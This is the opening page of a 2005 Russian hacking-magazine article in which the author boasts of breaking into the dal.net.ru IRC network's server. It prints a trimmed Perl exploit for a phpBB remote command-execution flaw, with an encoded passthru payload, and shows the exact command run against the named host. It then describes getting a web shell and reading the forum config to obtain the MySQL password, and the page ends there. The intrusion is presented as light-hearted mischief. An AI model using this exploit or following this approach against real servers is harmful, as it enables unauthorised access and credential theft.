Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #74, ФЕВРАЛЬ 2005 г.

Как взломали DalNet(Ru)

Ky3}{ (ky3@list.ru)

Хакер, номер #074, стр. 074-056-1


История недавнего взлома сервера крупной irc-сети

IRC - очень занимательная штука. В последнее время стало очень модно вести разговоры о том, какой беспредел творят irc-операторы: напьются, как бегемоты, и давай налево и направо kill’ы раздавать. Однажды, насмотревшись на похожие проделки администрации одной русскоязычной IRC-сети (dal.net.ru), я решил уравнять шансы простых юзеров и великих админов, немного похулиганить. И вот что я скажу, весело получилось :).

Как все начиналось

Шесть часов вечера, просматриваю свой ЖЖ, о чем-то болтаю в IRC. Неожиданно в ICQ стучится мой хороший сетевой знакомый (назовем его Витек) и сообщает радостную новость о том, что только что появился сплойт для phpBB <= 2.0.10, позволяющий выполнять произвольные unix-команды. Почитав в Сети про этот баг, я сделал для себя вывод, что грядет целая волна атак, поскольку уязвимый форум очень популярен в инете, а найденная ошибка довольно серьезная. Не буду тебя загружать тем, как функционирует этот эксплойт, а лишь приведу его порезанный код, чтобы ты мог понять, о чем именно идет речь:

Порезанный сплойт для phpBB

$path = $dir;

$path .= 'viewtopic.php?t=';

$path .= $topic;

$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';

$path .= $cmd;

$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';

$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";

print $socket "Host: $serv\n";

print $socket "Accept: */*\n";

print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>) {

if ($answer =~ /^_END_/) { exit(); }

if ($on == 1) { print " $answer"; }

if ($answer =~ /^_START_/) { $on = 1; }

}

print "[-] EXPLOIT FAILED\r\n";

Если тебе захочется разобраться с этой уязвимостью, то на нашем диске ты найдешь довольно подробные документы, описывающие суть проблемы. Но сейчас не об этом.

Как только я разобрался, что к чему, у меня сразу зачесались руки и захотелось попробовать это оружие в действии. В качестве жертвы в моей голове сразу же возник форум Dal.Net.Ru, я прекрасно помнил, что там установлен древний phpBB 2.0.6 и, зная раззвиздяйство админов, можно было с уверенностью сказать: багов там немерено. Я не стал заморачиваться и решил сходу попробовать сплойт в действии. Для этого я подключился к одному из поломанных мною ранее шеллов и запустил там перловый сплойт, который назвал dalnet.pl:

$ perl dalnet.pl www.dal.net.ru /dalnetru_forum/ 26 "ls"

Здесь www.dal.net.ru – это хост сервера, /dalnetru_forum/ - папка с форумом phpBB, 26 - id существующего поста в форуме, "ls"- выполняемая консольная команда unix.

Чем это здесь воняет?

Думаю, понятно, чем здесь пахнет: уже через несколько секунд после запуска сплойта у меня был полноценный web-шелл на сервере Далнета! Вообще конечно файловая система такого сервера – это лакомый кусочек! Я долго лазал по таким интересным папкам как ircd, services-hub, services, distrib, backup и www, однако в тот момент меня более всего интересовал доступ к форуму. Поэтому я перешел в каталог /home/dalnet/www/dalnetru_forum и выполнил команду "cat" для файла config.php. В результате увидел конфиг форума, в котором черным по белому были видны пароль к mysql-базе сервера и прочие настройки:

Содержание  Вперед на стр. 074-056-2